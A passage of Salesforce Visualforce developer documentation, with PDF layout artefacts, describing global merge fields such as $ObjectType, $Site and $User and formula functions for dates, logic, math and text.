new_user_q old_password page_not_found page_not_found_detail password passwords_dont_match powered_by register registration_confirmation site_login site_under_construction sorry_for_inconvenience sorry_for_inconvenience_back_shortly stay_tuned submit temp_password_sent thank_you_for_registering under_construction user_registration username verify_new_password
Message
New User?
Old Password
Page Not Found
Page Not Found: {0}
Password
Passwords did not match.
Powered by
Register
Registration Confirmation
Site Login
Site Under Construction
Sorry for the inconvenience.
Sorry for the inconvenience. We'll be back shortly.
Stay tuned.
Submit
An email has been sent to you with your temporary password.
Thank you for registering. An email has been sent to you with your temporary password.
<i>{0}</i> is under construction
New User Registration
Username
Verify New Password
Example
<apex:page >
<apex:pageMessage severity= "info" strength= "1" summary= "{!$Label.Site.temp_password_sent}"
/>
</apex:page >
$Network
A global merge field type to use when referencing community details in a Visualforce email template.
617
Global Variables, Functions, and Expression Operators $ObjectType
Usage
Use dot notation to access your community’s name and login page URL.The login page URL depends on whether the community uses the standard or a custom login page.
Note: The
$Network
global merge field type works only in the context of Visualforce emails for communities.
You can create custom email templates for communities using Visualforce, which allows you to use custom company branding in your email templates. For Visualforce email template, use the
$Network
global merge field type and its properties, as described in this table.
Field Name
$Network.Name
$Network.NetworkUrlForUserEmails
Description
The name of the community, as entered during community creation.
The URL to the login page of a community. For instance,
https://acme.force.com/partners/login.
If this merge field is part of the welcome email being sent to a new external user, the URL is appended with a link to a reset password page.
This field is populated only if it is used in a Visualforce email template for one of three email types supported for Communities.
Example
{!$Network.Name}
{!$Network.NetworkUrlForUserEmails}
$ObjectType
A global merge field type to use when referencing standard or custom objects (such as Accounts, Cases, or Opportunities) and the values of their fields.
Usage
Use dot notation to specify an object, such as
{!$ObjectType.Case}
.
Optionally, select a field on that object using the following syntax:
{!$ObjectType.Role_Limit__c.Fields.Limit__c}
.
Example
The following example retrieves the label for the Account
Name
field:
{!$ObjectType.Account.Fields.Name.Label}
You can also use dynamic references to retrieve information about an object through
$ObjectType
. For example,
{!$ObjectType.Account.Fields['Name'].Type}
618
Global Variables, Functions, and Expression Operators $ObjectType
IN THIS SECTION:
Object Schema Details Available Using $ObjectType
Use the
$ObjectType
global variable to access schema information about the objects in your organization. For example, to access the name, label, and accessibility of an object.
Field Schema Details Available Using $ObjectType
The
$ObjectType
global variable provides access to a variety of schema information about the objects in your organization.
Use it to reference names, labels, and data types of fields on an object, for example.
SEE ALSO:
Dynamic References to Schema Details Using $ObjectType
Object Schema Details Available Using
$ObjectType
Use the
$ObjectType
global variable to access schema information about the objects in your organization. For example, to access the name, label, and accessibility of an object.
The information available using
$ObjectType
is a subset of the information available using the Apex describe result, the
DescribeSObjectResult
system object. This table describes the attributes available from the
$ObjectType
global variable.
Name
fields
Data Type
Special
Description
This attribute can’t be used by itself. Instead, fields
should be followed by a field member variable name, and then a field attribute. For example,
{!$ObjectType.Account.fields.Name.Label} fieldSets
Special This attribute can’t be used by itself. Instead, fieldSets
should be followed by a field set name, and used in an iteration component. For example,
<apex:repeat value= "{!$ObjectType.Contact.FieldSets.properNames}" var= "f" > keyPrefix label labelPlural
String
String
String
The three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the object type. For example, accounts have a prefix of
001
and opportunities have a prefix of
006
).
$ObjectType
returns a value for objects that have a stable prefix. For object types that don’t have a stable or predictable prefix, this field is blank. Pages that rely on these codes can use this way of determining object types to ensure forward compatibility.
The object’s label, which often matches the object name. For example, an organization in the medical industry might change the label for Account to
Patient. This label matches the one used in the Salesforce user interface.
The object’s plural label, which often matches the object name. For example, an organization in the medical industry might change the plural label for
619
Global Variables, Functions, and Expression Operators $ObjectType
Name
name accessible createable custom deletable mergeable queryable searchable undeletable updateable
Data Type
String
Boolean
Boolean
Boolean
Boolean
Boolean
Boolean
Boolean
Boolean
Boolean
Description
Account to Patients. This label matches the one used in the Salesforce user interface.
The name of the object.
true
if the current user can see this object, false
otherwise.
true
if the object can be created by the current user, false
otherwise.
true
if the object is a custom object, false
if it’s a standard object.
true
if the object can be deleted by the current user, false
otherwise.
true
if the object can be merged with other objects of its type by the current user, false
otherwise.
true
if the object can be queried by the current user, false
otherwise true
if the object can be searched by the current user, false
otherwise.
true
if the object can’t be undeleted by the current user, false
otherwise.
true
if the object can be updated by the current user, false
otherwise.
Field Schema Details Available Using
$ObjectType
The
$ObjectType
global variable provides access to a variety of schema information about the objects in your organization. Use it to reference names, labels, and data types of fields on an object, for example.
The information available using
$ObjectType
parallels but is a subset of the details available using the Apex describe result, the
DescribeFieldResult
object. This table describes the attributes available from the
$ObjectType
global variable.
Name
byteLength calculatedFormula controller defaultValueFormula digits inlineHelpText label
Data Type
Integer
String
Schema.sObjectField (as a string)
String
Integer
String
String
Description
For variable-length fields (including binary fields), the maximum size of the field, in bytes.
The formula specified for this field.
The controlling field, if this is a dependent field.
The default value specified for this field if a formula isn’t used.
The maximum number of digits specified for the field, or zero for non-numeric fields.
The content of the field-level help. For more information, see “Define Field-Level Help” in the Salesforce online help.
The text label that’s displayed next to the field in the
Salesforce user interface. This label can be localized.
620
Global Variables, Functions, and Expression Operators
Name
length localName name picklistValues precision referenceTo relationshipName relationshipOrder scale soapType sObjectField type accessible autoNumber calculated cascadeDelete
$ObjectType
Data Type
Integer
String
String
List <Schema.PicklistEntry>
Integer
List <Schema.sObjectType>
String
Integer
Integer
Schema.SOAPType (as a string)
Schema.sObjectField (as a string)
Schema.DisplayType (as a string)
Boolean
Boolean
Boolean
Boolean
Description
For string fields, the maximum size of the field in Unicode characters (not bytes).
The name of the field.
The field name used in Apex.
A list of the field’s picklist items, or an empty list if the field is not a picklist.
For fields of type Double, the maximum number of digits that can be stored, including all numbers to the left and to the right of the decimal point (but excluding the decimal point character).
A list of the parent objects of this field. If the namePointing
attribute is true
, there’s more than one entry in the list, otherwise there’s only one.
The name of the relationship. For more information about relationships and relationship names, see Understanding
Relationship Names in the Force.com SOQL and SOSL
Reference.
This attribute is 1 if the field is a child, 0 otherwise. For more information about relationships and relationship names, see Understanding Relationship Names in the
Force.com SOQL and SOSL Reference.
For fields of type Double, the number of digits to the right of the decimal point. Any extra digits to the right of the decimal point are truncated.
One of the SoapType enum values, depending on the type of field. For more information, see SOAPType Enum in the Apex Developer Guide.
A reference to this field.
One of the DisplayType enum values, depending on the type of field. For more information, see DisplayType Enum in the Apex Developer Guide.
true
if the current user can see this field, false otherwise.
true
if the field is an Auto Number field, false otherwise.
true
if the field is a custom formula field, false otherwise.
true
if the child object is deleted when the parent object is deleted, false
otherwise.
621
Global Variables, Functions, and Expression Operators
Name
caseSensitive createable custom defaultedOnCreate dependentPicklist externalId filterable groupable htmlFormatted
Boolean
Boolean
Boolean
Boolean
Boolean
Data Type
Boolean
Boolean
Boolean
Boolean idLookup nameField namePointing nillable permissionable
Boolean
Boolean
Boolean
Boolean
Boolean
622
$ObjectType
Description
true
if the field is case sensitive, false
otherwise.
true
if the field can be created by the current user, false
otherwise.
true
if the field is a custom field, false
if it’s a standard object.
true
if the field receives a default value when created, false
otherwise.
true
if the picklist is a dependent picklist, false otherwise.
true
if the field is used as an external ID, false otherwise.
true
if the field can be used as part of the filter criteria of a
WHERE
statement, false
otherwise.
true
if the field can be included in the
GROUP BY clause of a SOQL query, false
otherwise.
true
if the field has been formatted for HTML and should be encoded for display in HTML, false otherwise. One example of a field that is true
for this attribute is a hyperlink custom formula field. Another example is a custom formula field that has an
IMAGE text function.
true
if the field can be used to specify a record in an upsert
method, false
otherwise.
true
if the field is a name field, false
otherwise. This method is used to identify the name field for standard objects (such as
AccountName
for an Account object) and custom objects. Objects can only have one name field, except where the
FirstName
and
LastName fields are used instead (such as on the Contact object).
true
if the field can have multiple types of objects as parents. For example, a task can have both the
Contact/Lead ID
(
WhoId
) field and the
Opportunity/Account ID
(
WhatId
) field be true
for this attribute because either of those objects can be the parent of a particular task record. This attribute is false
otherwise.
true
if the field is nillable, false
otherwise.
true
if field permissions can be specified for the field, false
otherwise.
Global Variables, Functions, and Expression Operators $Organization
Name
restrictedDelete restrictedPicklist sortable unique updateable
Data Type
Boolean
Boolean
Boolean
Boolean
Boolean writeRequiresMasterRead
Boolean
Description
true
if the parent object can’t be deleted because it’s referenced by a child object, false
otherwise.
true
if the field is a restricted picklist, false otherwise.
true
if a query can sort on the field, false
otherwise.
true
if the value for the field must be unique, false otherwise.
true
if:
•
The field can be edited by the current user, or
•
Child records in a master-detail relationship field on a custom object can be reparented to different parent records false
otherwise.
true
if writing to the detail object requires read sharing instead of read/write sharing of the parent.
SEE ALSO:
Dynamic References to Schema Details Using $ObjectType
$Organization
A global merge field type to use when referencing information about your company profile. Use organization merge fields to reference your organization’s city, fax, ID, or other details.
Usage
Use dot notation to access your organization’s information. For example:
{!$Organization.Street}
{!$Organization.State}
The organization merge fields get their values from whatever values are currently stored as part of your company information in Salesforce.
Note that
{!$Organization.UiSkin}
is a picklist value, and so should be used with picklist functions such as
ISPICKVAL() in custom fields, validation rules, Visualforce expressions, flow formulas, process formulas, and workflow rule formulas.
Example
Values accessible using the
$Organization
global variable include:
{!$Organization.Id}
{!$Organization.Name}
{!$Organization.Division}
{!$Organization.Street}
623
Global Variables, Functions, and Expression Operators
{!$Organization.City}
{!$Organization.State}
{!$Organization.PostalCode}
{!$Organization.Country}
{!$Organization.Fax}
{!$Organization.Phone}
{!$Organization.GoogleAppsDomain}
{!$Organization.UiSkin}
$Page
A global merge field type to use when referencing a Visualforce page.
Usage
Use this expression in a Visualforce page to link to another Visualforce page.
Example
<apex:page >
<h1 >Linked </h1 >
<apex:outputLink value= "{!$Page.otherPage}" >
This is a link to another page.
</apex:outputLink >
</apex:page >
$Permission
A global merge field type to use when referencing information about the current user’s custom permission access. Use permission merge fields to reference information about the user’s current access to any of your organization’s custom permissions.
Usage
1. Select the field type: $Permission.
2. Select a merge field such as
$Permission.customPermissionName
.
Example
To have a pageblock only appear for users that have the custom permission seeExecutiveData, use the following.
<apex:pageBlock rendered= "{!$Permission.canSeeExecutiveData}" >
<!-- Executive Data Here -->
</apex:pageBlock >
Note: $Permission appears only if custom permissions have been created in your organization. For more information, see “Custom
Permissions” in the Salesforce help.
$Page
624
Global Variables, Functions, and Expression Operators
$Profile
A global merge field type to use when referencing information about the current user’s profile. Use profile merge fields to reference information about the user’s profile such as license type or name.
Usage
Use dot notation to access your organization’s information.
Note that you can’t use the following
$Profile
values in Visualforce:
•
LicenseType
•
UserType
Example
{!$Profile.Id}
{!$Profile.Name}
$Resource
A global merge field type to use when referencing an existing static resource by name in a Visualforce page. You can also use resource merge fields in
URLFOR
functions to reference a particular file in a static resource archive.
Usage
Use
{!$Resource}
to reference an existing static resource. The format is
{!$Resource.
nameOfResource}
, such as
{!$Resource.TestImage}
.
Examples
The Visualforce component below references an image file that was uploaded as a static resource and given the name
TestImage
:
<apex:image url= "{!$Resource.TestImage}" width= "50" height= "50" />
To reference a file in an archive (such as a
.zip
or
.jar
file), use the
URLFOR
function. Specify the static resource name that you provided when you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second.
For example:
<apex:image url= "{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg' )} " width=" 50 " height=" 50 "/>
You can also use dynamic references to reference static resources. For example,
{!$Resource[appLogo]}
, assuming there is an appLogo
property or getAppLogo()
method in your page’s controller.
SEE ALSO:
$Profile
625
Global Variables, Functions, and Expression Operators $SControl
$SControl
A global merge field type to use when referencing an existing custom s-control by name. This merge field type results in a URL to a page where the s-control executes.
Important: Visualforce pages supersede s-controls. Organizations that haven’t previously used s-controls can’t create them.
Existing s-controls are unaffected, and can still be edited.
Usage
Use dot notation to access an existing s-control by its name.
Example
The following example shows how to link to an s-control named HelloWorld in a Visualforce page:
<apex:page >
<apex:outputLink value= "{!$SControl.HelloWorld}" >Open the HelloWorld s-control </apex:outputLink >
</apex:page >
Note that if you simply want to embed an s-control in a page, you can use the
<apex:scontrol >
tag without the $SControl merge field. For example:
<apex:page >
<apex:scontrol controlName= "HelloWorld" />
</apex:page >
$Setup
A global merge field type to use when referencing a custom setting of type “hierarchy.”
Usage
Use
$Setup
to access hierarchical custom settings and their field values using dot notation. For example,
$Setup.App_Prefs__c.Show_Help_Content__c
.
Hierarchical custom settings allow values at any of three different levels:
1. Organization, the default value for everyone
2. Profile, which overrides the Organization value
3. User, which overrides both Organization and Profile values
Salesforce automatically determines the correct value for this custom setting field based on the running user’s current context.
Custom settings of type “list” aren’t available on Visualforce pages using this global variable. You can access list custom settings in Apex.
626
Global Variables, Functions, and Expression Operators
Example
The following example illustrates how to conditionally display an extended help message for an input field, depending on the user’s preference:
<apex:page >
<apex:inputField value= "{!usr.Workstation_Height__c}" />
<apex:outputPanel id= "helpWorkstationHeight" rendered= "{!$Setup.App_Prefs__c.Show_Help_Content__c}" >
Enter the height for your workstation in inches, measured from the floor to top of the work surface.
</apex:outputPanel >
...
</apex:page >
If the organization level for the custom setting is set to true
, users see the extended help message by default. If an individual prefers to not see the help messages, they can set their custom setting to false
, to override the organization (or profile) value.
$Site
A global merge field type to use when referencing information about the current Force.com site.
Usage
Use dot notation to access information about the current Force.com site. Note that only the following site fields are available:
Merge Field
$Site.Name
$Site.Domain
$Site.CustomWebAddress
$Site.OriginalUrl
$Site.CurrentSiteUrl
$Site.LoginEnabled
$Site.RegistrationEnabled
Description
Returns the API name of the current site.
Returns the Force.com domain name for your organization.
Returns the request's custom URL if it doesn't end in force.com
or returns the site's primary custom URL. If neither exist, then this returns an empty string. Note that the URL's path is always the root, even if the request's custom URL has a path prefix. If the current request is not a site request, then this field returns an empty string. This field's value always ends with a
/
character. Use of
$Site.CustomWebAddress is discouraged and we recommend using
$Site.BaseCustomUrl instead.
Returns the original URL for this page if it’s a designated error page for the site; otherwise, returns null
.
Returns the base URL of the current site that references and links should use. Note that this field might return the referring page's URL instead of the current request's
URL. This field's value includes a path prefix and always ends with a
/
character. If the current request is not a site request, then this field returns an empty string. Use of $Site.CurrentSiteUrl is discouraged. Use $Site.BaseUrl instead.
Returns true
if the current site is associated with an active login-enabled portal; otherwise returns false
.
Returns true
if the current site is associated with an active self-registration-enabled
Customer Portal; otherwise returns false
.
$Site
627
Global Variables, Functions, and Expression Operators
Merge Field
$Site.IsPasswordExpired
$Site.AdminEmailAddress
$Site.Prefix
$Site.Template
$Site.ErrorMessage
$Site.ErrorDescription
$Site.AnalyticsTrackingCode
$Site.BaseCustomUrl
$Site.BaseInsecureUrl
$Site.BaseRequestUrl
$Site.BaseSecureUrl
Description
For authenticated users, returns true
if the currently logged-in user's password is expired. For non-authenticated users, returns false
.
Returns the value of the
Site Contact
field for the current site.
Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners
,
/partners
is the path prefix. Returns null
if the prefix isn’t defined. If the current request is not a site request, then this field returns an empty string.
Returns the template name associated with the current site; returns the default template if no template has been designated.
Returns an error message for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an empty string.
Returns the error description for the current page if it’s a designated error page for the site and an error exists; otherwise, returns an empty string.
The tracking code associated with your site. This code can be used by services like
Google Analytics to track page request data for your site.
Returns a base URL for the current site that doesn’t use a Force.com subdomain.
The returned URL uses the same protocol (HTTP or HTTPS) as the current request if at least one non-Force.com custom URL that supports HTTPS exists on the site. The returned value never ends with a
/
character. If all the custom URLs in this site end in force.com
, or this site has no custom URL’s, then this returns an empty string.
If the current request is not a site request, then this method returns an empty string.
This field replaces
CustomWebAddress
and includes the custom URL's path prefix.
Returns a base URL for the current site that uses HTTP instead of HTTPS. The current request's domain is used. The returned value includes the path prefix and never ends with a
/
character. If the current request is not a site request, then this method returns an empty string.
Returns the base URL of the current site for the requested URL. This isn't influenced by the referring page's URL. The returned URL uses the same protocol (HTTP or
HTTPS) as the current request. The returned value includes the path prefix and never ends with a
/
character. If the current request is not a site request, then this method returns an empty string.
Returns a base URL for the current site that uses HTTPS instead of HTTP. The current request's domain is preferred if it supports HTTPS. Domains that are not Force.com
subdomains are preferred over Force.com subdomains. A Force.com subdomain, if associated with the site, is used if no other HTTPS domains exist in the current site. If there are no HTTPS custom URLs in the site, then this method returns an empty string. The returned value includes the path prefix and never ends with a
/ character. If the current request is not a site request, then this method returns an empty string.
$Site
628
Global Variables, Functions, and Expression Operators $System.OriginDateTime
Merge Field
$Site.BaseUrl
$Site.MasterLabel
$Site.SiteId
$Site.SiteType
$Site.SiteTypeLabel
Description
Returns the base URL of the current site that references and links should use. Note that this field may return the referring page's URL instead of the current request's
URL. This field's value includes the path prefix and never ends with a
/
character.
If the current request is not a site request, then this field returns an empty string.
This field replaces $Site.CurrentSiteUrl.
Returns the value of the Master Label field for the current site. If the current request is not a site request, then this field returns an empty string.
Returns the ID of the current site. If the current request is not a site request, then this field returns an empty string.
Returns the API value of the Site Type field for the current site. If the current request is not a site request, then this field returns an empty string.
Returns the value of the Site Type field's label for the current site. If the current request is not a site request, then this field returns an empty string.
Example
The following example shows how to use the
$Site.Template
merge field:
<apex:page title= "Job Application Confirmation" showHeader= "false" standardStylesheets= "true" >
<!-- The site template provides layout & style for the site -->
<apex:composition template= "{!$Site.Template}" >
<apex:define name= "body" >
<apex:form >
<apex:commandLink value= "<- Back to Job Search" onclick= "window.top.location='{!$Page.PublicJobs}';return false;" />
<br/ >
<br/ >
<center >
<apex:outputText value= "Your application has been saved.
Thank you for your interest!
"/>
</center >
<br/ >
<br/ >
</apex:form >
</apex:define >
</apex:composition >
</apex:page >
$System.OriginDateTime
A global merge field that represents the literal value of 1900-01-01 00:00:00.
629
Global Variables, Functions, and Expression Operators
Usage
Use this global variable when performing date/time offset calculations, or to assign a literal value to a date/time field.
Example
The following example calculates the number of days that have passed since January 1, 1900:
{!NOW() - $System.OriginDateTime}
$User
A global merge field type to use when referencing information about the current user. User merge fields can reference information about the user such as alias, title, and ID. Most of the fields available on the User standard object are also available on $User.
Usage
Use dot notation to access the current user’s information. For example:
{!IF (CONTAINS($User.Alias, Smith) True, False)}
Example
The following example displays the current user’s company name, as well as the status of the current user (which returns a Boolean value).
<apex:page >
<h1 >Congratulations </h1 >
This is your new Apex Page
<p >The current company name for this user is: {!$User.CompanyName} </p >
<p >Is the user active?
{!$User.isActive} </p >
</apex:page >
$User.UITheme
and
$User.UIThemeDisplayed
These global merge fields identify the Salesforce look and feel a user sees on a given Web page.
The difference between the two variables is that
$User.UITheme
returns the look and feel the user is supposed to see, while
$User.UIThemeDisplayed
returns the look and feel the user actually sees. For example, a user may have the preference and permissions to see the Lightning Experience look and feel, but if they are using a browser that doesn’t support that look and feel, for example, older versions of Internet Explorer,
$User.UIThemeDisplayed
returns a different value.
Usage
Use these variables to identify the CSS used to render Salesforce web pages to a user. Both variables return one of the following values.
•
Theme1
—Obsolete Salesforce theme
•
Theme2
—Salesforce Classic 2005 user interface theme
•
Theme3
—Salesforce Classic 2010 user interface theme
630
$User
Global Variables, Functions, and Expression Operators
•
Theme4d
—Modern “Lightning Experience” Salesforce theme
•
Theme4t
—Salesforce1 mobile Salesforce theme
•
PortalDefault
—Salesforce Customer Portal theme
•
Webstore
—Salesforce AppExchange theme
Example
The following example shows how you can render different layouts based on a user’s theme:
<apex:page >
<apex:pageBlock title= "My Content" rendered= "{!$User.UITheme == 'Theme2'}" >
// this is the old theme...
</apex:pageBlock >
<apex:pageBlock title= "My Content" rendered= "{!$User.UITheme == 'Theme3'}" >
// this is the classic theme ...
</apex:pageBlock >
</apex:page >
$UserRole
$UserRole
A global merge field type to use when referencing information about the current user’s role. Role merge fields can reference information such as role name, description, and ID.
Usage
Use dot notation to access information about the current user’s role.
Note that you can’t use the following
$UserRole
values in Visualforce:
•
CaseAccessForAccountOwner
•
ContactAccessForAccountOwner
•
OpportunityAccessForAccountOwner
•
PortalType
Example
{!$UserRole.LastModifiedById}
Functions
Use functions to transform data from records, perform calculations, or to provide values for Visualforce attributes.
Functions must be used in a Visualforce expression to be evaluated. You can use the following functions in your Visualforce pages.
631
Global Variables, Functions, and Expression Operators Functions
Date and Time Functions
Note: The date/time data type might not evaluate correctly in formula expressions for Visualforce pages with an API version less than 20.0. It may be incorrectly interpreted as just a date type.
Function
DATE
DATEVALUE
DATETIMEVALUE
DAY
MONTH
NOW
Description Use
Returns a date value from year, month, and day values you enter. Salesforce displays an error on the detail page if the value of the
DATE function in a formula field is an invalid date, such as February 29 in a non-leap year.
DATE
(year,month,day)
and replace
year
with a four-digit year,
month
with a two-digit month, and
day
with a two-digit day.
Returns a date value for a date/time or text expression.
DATEVALUE(
expression)
and replace
expression
with a date/time or text value, merge field, or expression.
Returns a year, month, day and GMT time value.
Returns the month, a number between 1
(January) and 12 (December) in number format of a given date.
DATETIMEVALUE( expression)
and replace
expression
with a date/time or text value, merge field, or expression.
Returns a day of the month in the form of a number between 1 and 31.
DAY( date)
and replace
date
with a date field or value such as
TODAY()
.
MONTH( date)
and replace
date
with the field or expression for the date containing the month you want returned.
Returns a date/time representing the current moment.
The
NOW
function returns the current date and time in the GMT timezone.
{!NOW()}
For example:
NOW()
Today 's date and time is:
{!NOW()} produces the following:
Today's date and time is:
Mon Jul 21 16:12:10 GMT 2008
Tips
•
Do not remove the parentheses.
•
Keep the parentheses empty. They do not need to contain a value.
•
Use addition or subtraction operators and a number with a
NOW
function to return a different date and time. For example
{!NOW() +5}
calculates the date and time five days ahead of now.
632
Global Variables, Functions, and Expression Operators Functions
Function
TODAY
YEAR
Description
•
If you prefer to use a date time field, use
Use
Returns the current date as a date data type.
TODAY()
The
TODAY
function returns the current day. For example, The following markup:
Today 's date is: {!TODAY()} produces the following output:
Today's date is Mon Jul 21
00:00:00 GMT 2008
Tips
•
Do not remove the parentheses.
•
Keep the parentheses empty. They do not need to contain a value.
•
Use addition and subtraction operators with a
TODAY
function and numbers to return a date. For example
{!TODAY() +7}
calculates the date seven days ahead of now.
•
If you prefer to use a date time field, use
Returns the four-digit year in number format of a given date.
YEAR( date)
and replace
date
with the field or expression that contains the year you want returned.
Informational Functions
Function
BLANKVALUE
ISBLANK
Description Use
Determines if an expression has a value and returns a substitute expression if it does not.
If the expression has a value, returns the value of the expression.
BLANKVALUE( expression,
substitute_expression)
and replace
expression
with the expression you want evaluated; replace
substitute_expression
with the value you want to replace any blank values.
Determines if an expression has a value and returns TRUE if it does not. If it contains a value, this function returns FALSE.
ISBLANK( expression)
and replace
expression
with the expression you want evaluated.
633
Global Variables, Functions, and Expression Operators
Function
NULLVALUE
Description
Functions
Determines if an expression is null (blank) and returns a substitute expression if it is. If the expression is not blank, returns the value of the expression.
NULLVALUE( expression,
substitute_expression)
and replace
expression
with the expression you want to evaluate; replace
substitute_expression
with the value you want to replace any blank values.
Returns the previous value of a field.
Use
PRIORVALUE(
field)
PRIORVALUE
Logical Functions
Function
AND
CASE
Description Use
Returns a TRUE response if all values are true; returns a FALSE response if one or more values are false.
The following markup displays the word
“Small” if the price and quantity are less than one. This field is blank if the asset has a price or quantity greater than one.
AND(logical1,logical2,...) and replace
logical1,logical2,...
with the values that you want evaluated.
{!IF(AND(Price < 1,
Quantity < 1),
"Small", null)}
You can use
&&
instead of the word
AND in your Visualforce markup. For example,
AND(Price < 1, Quantity <
1)
is the same as
(Price < 1) &&
(Quantity < 1)
.
•
Make sure the
value_if_true
and
value_if_false
expressions have the same data type.
Checks a given expression against a series of values. If the expression is equal to a value, returns the corresponding result. If it is not equal to any values, it returns the else_result
.
CASE( expression,value1,
result1, value2,
result2,..., else_result)
and replace
expression
with the field or value you want compared to each specified value. Replace each value and result with the value that must be equivalent to return the result entry. Replace
else_result
with the value you want returned when the expression does not equal any values.
634
Global Variables, Functions, and Expression Operators
Function
IF
ISCHANGED
ISNEW
ISNUMBER
NOT
OR
Description Use
Functions
Determines if expressions are true or false.
Returns a given value if true and another value if false.
The following markup returns “Private” if the opportunity
IsPrivate
field is set to true; it returns “Not Private” if the field is set to false.
{!IF(opportunity.IsPrivate,
"Private", "Not Private")}
IF( logical_test,
value_if_true,
value_if_false)
and replace
logical_test
with the expression you want evaluated; replace
value_if_true
with the value you want returned if the expression is true; replace
value_if_false
with the value you want returned if the expression is false.
Compares the value of a field to the previous value and returns TRUE if the values are different. If the values are the same, this function returns FALSE.
ISCHANGED( field)
and replace
field
with the name of the field you want to compare.
Checks if the formula is running during the creation of a new record and returns TRUE if it is. If an existing record is being updated, this function returns FALSE.
ISNEW()
Determines if a text value is a number and returns TRUE if it is. Otherwise, it returns
FALSE.
ISNUMBER(
text)
and replace
text
with the merge field name for the text field.
Returns FALSE for TRUE and TRUE for FALSE.
The following markup returns the value of
ReportAcct
if the account
IsActive field is set to false. It returns the value of
SaveAcct
if
IsActive
is set to true.
NOT( logical)
and replace
logical
with the expression that you want evaluated.
{!IF(NOT(Account.IsActive)ReportAcct,
SaveAcct)}
You can use
!
instead of the word
NOT
in your Visualforce markup. For example,
NOT(Account.IsActive)
is the same as
!Account.IsActive)
.
Determines if expressions are true or false.
Returns TRUE if any expression is true.
Returns FALSE if all expressions are false.
The following markup will return the value of
VerifyAcct
if either account field
IsActive__c
or
IsNew__c
is set to true.
OR( logical1, logical2...)
and replace any number of logical references with the expressions you want evaluated.
{!IF(OR(Account.IsActive__c,
635
Global Variables, Functions, and Expression Operators
Function Description
Account.IsNew__C))
VerifyAcct, CloseAcct)}
You can use
||
instead of the word
OR
in your Visualforce markup. For example,
OR(Price < 1, Quantity < 1) is the same as
((Price < 1) ||
(Quantity < 1))
.
Use
Math Functions
Function
ABS
CEILING
EXP
FLOOR
LN
LOG
MAX
MIN
MOD
Functions
Description Use
Calculates the absolute value of a number.
The absolute value of a number is the number without its positive or negative sign.
ABS(number)
and replace
number
with a merge field, expression, or other numeric value that has the sign you want removed.
Rounds a number up to the nearest integer.
CEILING(
number)
and replace
number
with the field or expression you want rounded.
Returns a value for e raised to the power of a number you specify.
EXP( number)
and replace
number
with a number field or value such as 5.
Returns a number rounded down to the nearest integer.
FLOOR( number)
and replace
number
with a number field or value such as 5.245.
Returns the natural logarithm of a specified number. Natural logarithms are based on the constant e value of 2.71828182845904.
LN( number)
and replace
number
with the field or expression for which you want the natural logarithm.
Returns the base 10 logarithm of a number.
LOG( number)
and replace
number
with the field or expression from which you want the base 10 logarithm calculated.
Returns the highest number from a list of numbers.
Returns the lowest number from a list of numbers.
Returns a remainder after a number is divided by a specified divisor.
MAX( number, number,...) replace
number
with the fields or expressions from which you want to retrieve the highest number.
and
MIN( number, number,...)
and replace
number
with the fields or expressions from which you want to retrieve the lowest number.
MOD(
number, divisor)
and replace
number
with the field or expression you
636
Global Variables, Functions, and Expression Operators
Function
ROUND
SQRT
Functions
Description Use
want divided; replace
divisor
with the number to use as the divisor.
Returns the nearest number to a number you specify, constraining the new number by a specified number of digits.
ROUND( number, num_digits)
and replace
number
with the field or expression you want rounded; replace
num_digits
with the number of decimal places you want to consider when rounding.
Returns the positive square root of a given number.
SQRT( number)
and replace
number
with the field or expression you want computed into a square root.
Text Functions
Function
BEGINS
Description Use
Determines if text begins with specific characters and returns TRUE if it does.
Returns FALSE if it does not.
The following markup will return true if the opportunity
StageName
field begins with the string “Closed”. Standard stage names
“Closed Won” and “Closed Lost” would both return true.
BEGINS( text, compare_text) and replace
text, compare_text
with the characters or fields you want to compare.
BR
CASESAFEID
{!BEGINS(opportunity.StageName,
'Closed')}
This function is case sensitive so be sure your
compare_text
value has the correct capitalization. Also, this function only works with text, not with numbers or other data types.
Inserts a line break in a string of text.
Converts a 15-character ID to a case-insensitive 18-character ID.
BR()
CASESAFEID( id)
and replace
id
with the object’s ID.
637
Global Variables, Functions, and Expression Operators
Function
CONTAINS
FIND
GETSESSIONID
HTMLENCODE
ISPICKVAL
JSENCODE
Description
Functions
Compares two arguments of text and returns TRUE if the first argument contains the second argument. If not, returns FALSE.
CONTAINS( text, compare_text) and replace
text
with the text that contains the value of
compare_text
.
The following example checks the content of a custom text field named
Product_Type
and returns “Parts” for any product with the word “part” in it.
Otherwise, it returns “Service.”
{!IF(contains(opportunity.Product_Type__c,
"part"), "Parts",
"Service")}
This function is case sensitive so be sure your
compare_text
value has the correct capitalization.
Use
Returns the position of a string within a string of text represented as a number.
FIND( search_text, text[,
start_num])
and replace
search_text
with the string you want to find, replace
text
with the field or expression you want to search, and replace
start_num
with the number of the character from which to start searching from left to right.
Returns the user’s session ID.
GETSESSIONID()
Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as
>
.
{!HTMLENCODE(
text)}
and replace
text
with the merge field or text string that contains the reserved characters.
Determines if the value of a picklist field is equal to a text literal you specify.
ISPICKVAL( picklist_field,
text_literal)
and replace
picklist_field
with the merge field name for the picklist; replace
text_literal
with the picklist value in quotes.
text_literal
cannot be a merge field or the result of a function.
Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe
JavaScript characters, such as the apostrophe (').
{!JSENCODE(
text)}
and replace
text
with the merge field or text string that contains the unsafe JavaScript characters.
638
Global Variables, Functions, and Expression Operators
Function
JSINHTMLENCODE
LEFT
LEN
LOWER
LPAD
Description Use
Functions
Encodes text and merge field values for use in JavaScript inside HTML tags by replacing characters that are reserved in HTML with
HTML entity equivalents and inserting escape characters before unsafe JavaScript characters.
JSINHTMLENCODE( someValue)
is a convenience function that is equivalent to
JSENCODE(HTMLENCODE(( someValue))
.
That is,
JSINHTMLENCODE
first encodes
someValue
with
HTMLENCODE
, and then encodes the result with
JSENCODE
.
{!JSINHTMLENCODE( text)}
and replace
text
with the merge field or text string that contains the unsafe JavaScript characters.
Returns the specified number of characters from the beginning of a text string.
LEFT( text, num_chars)
and replace
text
with the field or expression you want returned; replace
num_chars
with the number of characters from the left you want returned.
Returns the number of characters in a specified text string.
{!LEN(Account.name)}
returns the number of characters in the Account name.
LEN
counts spaces as well as characters.
{!LEN("The Spot")}
returns 8.
